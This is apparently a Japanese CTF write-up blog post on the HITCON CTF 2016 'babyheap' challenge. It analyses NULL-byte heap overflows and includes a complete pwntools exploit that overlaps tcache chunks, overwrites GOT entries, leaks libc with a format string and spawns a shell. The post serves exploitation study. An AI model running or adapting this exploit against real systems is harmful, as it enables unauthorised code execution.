newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 4.11】babyheap - HITCON CTF 2016

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

github.com

 

 

 

1: イントロ

bataリストの medium-easy

HITCON CTF 2016の300点問題 "babyheap"

 

 

2: 表層解析

./babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=2cf55840293ae4d6ddc13488c57b8009e598642f, stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled




3: プログラムの概要と脆弱性

heap領域へのmalloc,delete,editができる

但しdelete,editの回数はglobal変数に記録され

それぞれ2回以上呼ばれた瞬間に_exit()で落ちる

mallocは同時に一度しかできない

 

見つけた脆弱性は以下の通り

1=malloc sizeを10進16文字でしか指定できないがunsigned longキャストしているため非常に大きい値をとれる

2=contentの入力でheapにおいてNULL overflow

3=nameの入力で隣接するcontent malloc addrへのNULL overflow

4=本当にExitするかのユーザへの確認にscanf()を使っている

 

今回主に使用するのは3と4の脆弱性





4: exploitの概要

実験していて気づいたが

scanfのbufがheap領域に作られている

(以下は"n"*0x100ほど入力したときのheapの様子)

0x14c5250 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 4113, 
  fd = 0x6e6e6e6e6e6e6e6e, 
  bk = 0x6e6e6e6e6e6e6e6e, 
  fd_nextsize = 0x6e6e6e6e6e6e6e6e, 
  bk_nextsize = 0x6e6e6e6e6e6e6e6e
}

 

 

さて

前述したように3の脆弱性を用いて

content bufferのアドレスの下1byteをNULL overflowすることができる

これによってedit/freeする際に参照するchunkアドレスを前方向にずらすことができる

 

自動で作られるstructure chunkのアドレスはわからないため

overflowによるアドレスの変化は0x0~0xf8で定まらないため

っ先ほどのscanf bufを偽chunkのsize headerで汚染しこのゆらぎを緩衝する

 

f:id:smallkirby:20191001082657p:plain

chunkの様子

 

 

この後にfreeをすると

structure chunkはちゃんと0x20 tcacheに入るが

content chunkは汚染したヘッダに従い0x120 tcacheに入る

よって次に0x120でmallocしたときに

content chunkはstructure chunkを内包するようになり

content chunkのアドレスを任意に書き換えられるようになる

 

 

さてwrite-where-what状態になった

次に以下のGOTを書き換える

・atoi->scanf: これによって生じるFSBでprintf()のlibc addrをleak

・_exit->ret_gadget: edit/deleteを複数回できるようにする

 

pwndbg> telescope 0x602020-0x10 40
00:0000│   0x602010 —▸ 0x7f9db58fc680 (_dl_runtime_resolve_xsave) ◂— push   rbx
01:0008│   0x602018 —▸ 0x7f9db558b950 (free) ◂— push   r15
02:0010│   0x602020 —▸ 0x400746 (_exit@plt+6) ◂— push   1
03:0018│   0x602028 —▸ 0x7f9db5626e60 (__read_chk) ◂— cmp    rdx, rcx
04:0020│   0x602030 —▸ 0x7f9db55749c0 (puts) ◂— push   r13
05:0028│   0x602038 —▸ 0x400776 (__stack_chk_fail@plt+6) ◂— push   4
06:0030│   0x602040 —▸ 0x7f9db5558e80 (printf) ◂— sub    rsp, 0xd8
07:0038│   0x602048 —▸ 0x7f9db55d8840 (alarm) ◂— mov    eax, 0x25
08:0040│   0x602050 —▸ 0x7f9db5604070 (read) ◂— lea    rax, [rip + 0x2e0881]
09:0048│   0x602058 —▸ 0x7f9db5515ab0 (__libc_start_main) ◂— push   r13
0a:0050│   0x602060 —▸ 0x7f9db5532da0 (ssignal) ◂— lea    eax, [rdi - 1]
0b:0058│   0x602068 —▸ 0x7f9db558b070 (malloc) ◂— push   rbp
0c:0060│   0x602070 —▸ 0x7f9db55752f0 (setvbuf) ◂— push   r13
0d:0068│   0x602078 —▸ 0x7f9db5534680 (atoi) ◂— sub    rsp, 8
0e:0070│   0x602080 —▸ 0x7f9db556fec0 (__isoc99_scanf) ◂— push   rbx
0f:0078│   0x602088 ◂— 0x0

 

他のGOTは成城通りに動作するように

PLT+0x6で書き換える

(PLT+0x0ではうまく行かず実験したらこの値でうまく行った)

 

こうしてlibc baseを計算したら

再びatoi()のGOTを書き換えてsystemにする

あとはatoi()の引数に"/bin/sh"を渡したらそれで終わり






5: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./babyheap"

rhp1 = {"host":"svc.pwnable.xyz","port":0}
rhp2 = {'host':"localhost",'port':12600}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def new(conn,size,content,name):
  conn.recvuntil(":")
  conn.sendline("1")
  conn.recvuntil(":")
  conn.sendline(str(size))
  conn.recvuntil(":")
  conn.sendline(content)
  conn.recvuntil(":")
  conn.send(name)

def delete(conn):
  conn.recvuntil(":")
  conn.sendline("2")

def edit(conn,content):
  conn.recvuntil(":")
  conn.sendline("3")
  conn.recvuntil(":")
  conn.send(content)

def _exit(conn,sentence):
  conn.recvuntil(":")
  conn.sendline("4")
  conn.recvuntil(")")
  conn.send(sentence)

ret_gadget = 0x00400711
main_addr = 0x400c9e
offset_printf = 0x64e80
#offset_printf = 0x557b0
offset_system = 0x4f440
#offset_system = 0x45380

def exploit(conn):
  print("GOT atoi: "+hex(binf.got["atoi"]))
  print("GOT _exit: "+hex(binf.got["_exit"]))
  
  #pollute scanf buffer and prepare size header(0x121) of fake chunk
  _exit(conn,"n"*8 + p64(0x121)*(4096/8 - 8))
  new(conn,0x80,"A"*0x70,"B"*8)
  delete(conn)


  #overwrite GOTs
  inj = p64(binf.plt["free"]+6)
  inj += p64(ret_gadget) #_exit
  inj += p64(binf.plt["__read_chk"]+6)
  inj += p64(binf.plt["puts"]+0x6)
  inj += p64(binf.plt["__stack_chk_fail"]+6)
  inj += p64(binf.plt["printf"]+6)
  inj += p64(binf.plt["alarm"]+6)
  inj += p64(binf.plt["read"]+6)
  inj += p64(binf.plt["__libc_start_main"]+6)
  inj += p64(binf.plt["signal"]+6)
  inj += p64(binf.plt["malloc"]+6)
  inj += p64(binf.plt["setvbuf"]+6)
  inj += p64(binf.plt["printf"]) #atoi

  new(conn,0x110,p64(binf.got["free"])*(0x100/8),"C")
  edit(conn,inj)

  #leak printf() in libc using scanf replaced with printf()
  conn.recvuntil(":")
  conn.sendline("%9$sABCD"+p64(binf.got["printf"]))
  printf_addr = unpack(conn.recvuntil("ABCD")[:-4].ljust(8,"\0"))
  #calc some addrs
  libc_base = printf_addr - offset_printf
  system_addr = libc_base + offset_system
  print("diff printf-system"+hex(printf_addr-system_addr))
  print("printf: "+hex(printf_addr))
  print("libc base: "+hex(libc_base))
  print("system: "+hex(system_addr))


  #re-overwrite GOTs
  inj = inj[:-8] + p64(system_addr)
  conn.recvuntil(":")
  conn.send("AB\n\0") #atoi() is now printf(). so give three chars and make return 3 to choose 3:Edit.
  conn.recvuntil(":")
  conn.send(inj)
  
  #invoke system() instead of atoi()
  conn.recvuntil(":")
  conn.sendline("/bin/sh\n")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()




結果

[*] Switching to interactive mode
Done!
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:$ cat /flag
FLAG={thi5_i5_t35t_f1ag}







続く・・・







You can cite code or comments in my blog as you like basically.
The exceptions are when the code belongs to some other license. In that case, follow it. Also, you can't use them for evil purpose. Finally, I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.